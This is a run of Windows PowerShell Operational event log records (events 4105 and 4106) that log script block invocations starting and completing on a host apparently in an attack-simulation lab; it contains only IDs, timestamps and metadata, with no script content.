RecordNumber=2034860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034855
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034833
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034831
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034830
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034813
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034807
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
